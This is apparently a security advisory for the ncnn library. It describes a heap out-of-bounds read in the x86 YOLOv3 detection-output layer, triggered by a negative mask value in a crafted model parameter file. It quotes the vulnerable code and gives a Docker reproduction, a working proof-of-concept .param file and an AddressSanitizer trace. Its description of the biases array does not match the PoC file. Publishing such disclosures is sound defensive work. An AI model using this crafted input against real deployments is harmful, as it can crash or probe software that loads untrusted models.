Unchecked YOLOv3 Mask Index Causes Heap Out-Of-Bounds Read

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/yolov3detectionoutput_x86.cpp:54 in Yolov3DetectionOutput_x86::forward
Sanitizer verdict: heap-buffer-overflow

Summary

A crafted .param file with a negative YOLOv3 mask entry makes ncnn index the anchor-bias array with a negative subscript, reading before the heap allocation and aborting ncnnoptimize. Everything needed is in the parameter file: ncnnoptimize inparam inbin outparam outbin 0 parses the mask and biases arrays through ParamDict::load_param, then executes the layer during ModelWriter::shape_inference(). The index is a raw float-to-int cast of an attacker-chosen value, so the read offset is fully attacker-controlled in both directions.

Detail

Yolov3DetectionOutput::load_param stores biases (array field 4) and mask (array field 5) as Mats exactly as they appear in the model file. Their lengths are never related to each other or to num_box, and the values are never range-checked. The x86 forward pass casts a mask element to int and uses it directly as a scaled subscript into biases:

// src/layer/yolov3detectionoutput.cpp:31
int Yolov3DetectionOutput::load_param(const ParamDict& pd)
{
    num_class = pd.get(0, 20);
    num_box = pd.get(1, 5);
    confidence_threshold = pd.get(2, 0.01f);
    nms_threshold = pd.get(3, 0.45f);
    biases = pd.get(4, Mat());
    mask = pd.get(5, Mat());
    anchors_scale = pd.get(6, Mat());
    return 0;
}

// src/layer/x86/yolov3detectionoutput_x86.cpp:48
        #pragma omp parallel for num_threads(opt.num_threads)
        for (int pp = 0; pp < num_box; pp++)
        {
            int p = pp * channels_per_box;
            int biases_index = static_cast<int>(mask[pp + mask_offset]);
            //printf("%d\n", biases_index);
            const float bias_w = biases[biases_index * 2];
            const float bias_h = biases[biases_index * 2 + 1];

The only sanity check anywhere in this function is the channel arithmetic at line 40 (channels_per_box != 4 + 1 + num_class returns -1), which the PoC satisfies on purpose: Input data 0 1 data 0=1 1=1 2=6 with 0=1 (num_class = 1) and 1=1 (num_box = 1) gives channels_per_box = 6 / 1 = 6 == 4 + 1 + 1, so execution continues.

The layer record carries -23305=1,-1.0, a one-element mask array holding -1.0, and -23304=2,1.0,1.0, a two-element biases array. With b == 0, mask_offset is 0 and pp is 0, so biases_index = static_cast<int>(-1.0f) = -1. Line 54 then evaluates biases[-1 * 2], i.e. biases[-2] — a four-byte read starting eight bytes before the start of the biases allocation, which is precisely the 8 bytes before 84-byte region ASan reports, with the allocation trace pointing back at ParamDict::load_param. Line 55 would read biases[-1] next. A larger negative or positive mask value moves the read arbitrarily far in either direction from the biases buffer.

Reproduce

mkdir -p ncnn-poc-unchecked-yolov3-mask-index-causes-heap-out-of-bounds-read && cd ncnn-poc-unchecked-yolov3-mask-index-causes-heap-out-of-bounds-read

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'POC_PARAM'
7767517
2 2
Input data 0 1 data 0=1 1=1 2=6
Yolov3DetectionOutput det 1 1 data output 0=1 1=1 -23304=1,1.0 -23305=1,-1.0 -23306=1,1.0
POC_PARAM

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

shape_inference
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50e000000038 at pc 0x6383c38f8166 bp 0x7ffd7c4503f0 sp 0x7ffd7c4503e0
READ of size 4 at 0x50e000000038 thread T0
    #0 0x6383c38f8165 in ncnn::Yolov3DetectionOutput_x86_avx512::forward(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/build/src/layer/x86/yolov3detectionoutput_x86_avx512.cpp:54
    #1 0x6383bdf3c70b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:856
    #2 0x6383bdf24b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #3 0x6383bdf849e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #4 0x6383bde163c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #5 0x6383bde93eee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #6 0x765367d051c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x765367d0528a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x6383bde13624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

0x50e000000038 is located 8 bytes before 84-byte region [0x50e000000040,0x50e000000094)
allocated by thread T0 here:
    #0 0x76536837ef1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x6383bdee2bc5 in fastMalloc /ncnn/src/allocator.h:62
    #2 0x6383bdee2bc5 in ncnn::Mat::create(int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:331
    #3 0x6383bdf9f780 in ncnn::ParamDict::load_param(ncnn::DataReader const&) /ncnn/src/paramdict.cpp:297
    #4 0x6383bdf44434 in ncnn::Net::load_param(ncnn::DataReader const&) /ncnn/src/net.cpp:1477
    #5 0x6383bdf8029e in ncnn::Net::load_param(_IO_FILE*) /ncnn/src/net.cpp:2177
    #6 0x6383bdf805d6 in ncnn::Net::load_param(char const*) /ncnn/src/net.cpp:2196
    #7 0x6383bde93beb in main /ncnn/tools/ncnnoptimize.cpp:2788
    #8 0x765367d051c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #9 0x765367d0528a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #10 0x6383bde13624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

SUMMARY: AddressSanitizer: heap-buffer-overflow /ncnn/build/src/layer/x86/yolov3detectionoutput_x86_avx512.cpp:54 in ncnn::Yolov3DetectionOutput_x86_avx512::forward(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const

Credit

Zheng Yu @ DepthFirst